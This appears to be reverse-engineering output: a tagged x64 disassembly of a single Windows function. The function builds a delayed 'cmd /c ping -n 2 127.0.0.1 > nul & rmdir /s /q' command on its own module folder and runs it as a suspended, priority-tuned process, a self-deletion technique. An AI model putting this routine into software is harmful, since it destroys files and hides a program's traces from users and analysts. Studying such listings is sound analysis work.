Function at 0x1800245d0
Capabilities:
Create process on windows
Create process suspended
Get comspec environment variable
Print debug messages
Query environment variable
Resume thread
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0xc10]
sub rsp, 0xd10
mov rax, qword [0x180087020]
xor rax, rsp
mov qword [rbp + 0xc00], rax
xor edx, edx
lea rcx, [rbp - 0x20]
mov r8d, 0x208
call fcn.18003b0b0
xor edx, edx
lea rcx, [rbp + 0x1f0]
mov r8d, 0x208
call fcn.18003b0b0
xor edx, edx
lea rcx, [rbp + 0x45c]
mov r8d, 0x7a4
call fcn.18003b0b0
mov r8d, 0x104
lea rdx, [rbp - 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1800248d0
mov edx, 0x5c
lea rcx, [rbp - 0x20]
call fcn.18003a7d8
xor ebx, ebx
test rax, rax
je 0x180024661
mov word [rax], bx
mov r8d, 0x104
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_GetShortPathNameW]
test eax, eax
je 0x1800248d0
mov r8d, 0x104
lea rdx, [rbp + 0x1f0]
lea rcx, str.COMSPEC
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x1800248d0
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov edx, 0x80
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
movaps xmm0, xmmword [str.__c_ping__n_2_127.0.0.1___nul__rmdir__s_q__]
lea rcx, [rbp + 0x400]
movaps xmm1, xmmword [0x180078a00]
sub rcx, 2
mov eax, dword [0x180078a48]
movaps xmmword [rbp + 0x400], xmm0
movaps xmm0, xmmword [0x180078a10]
movaps xmmword [rbp + 0x410], xmm1
movaps xmm1, xmmword [0x180078a20]
movaps xmmword [rbp + 0x420], xmm0
movaps xmm0, xmmword [0x180078a30]
movaps xmmword [rbp + 0x430], xmm1
movsd xmm1, qword [0x180078a40]
movaps xmmword [rbp + 0x440], xmm0
movsd qword [rbp + 0x450], xmm1
mov dword [rbp + 0x458], eax
cmp word [rcx + 2], bx
lea rcx, [rcx + 2]
jne 0x180024732
lea r8, [rbp - 0x20]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x180024750
lea rax, [rbp + 0x400]
sub rax, 2
nop dword [rax]
cmp word [rax + 2], bx
lea rax, [rax + 2]
jne 0x180024770
movups xmm0, xmmword [str.____nul]
lea rcx, [rbp + 0x1f0]
sub rcx, 2
movups xmmword [rax], xmm0
nop
cmp word [rcx + 2], bx
lea rcx, [rcx + 2]
jne 0x180024790
lea r8, [rbp + 0x400]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x1800247b0
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x70], WSAGetLastError
movups xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x54], 1
movups xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x50], bx
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x30], rax
movups xmmword [rbp - 0x70], xmm0
mov qword [rsp + 0x60], rax
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, select
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x1f0]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1800248ab
mov rcx, qword [rsp + 0x50]
mov edx, 0x40
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rcx, qword [rsp + 0x58]
mov edx, 0xfffffff1
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
jmp 0x1800248d2
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x20
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
xor eax, eax
mov rcx, qword [rbp + 0xc00]
xor rcx, rsp
call fcn.180034f80
mov rbx, qword [rsp + 0xd20]
add rsp, 0xd10
pop rbp
ret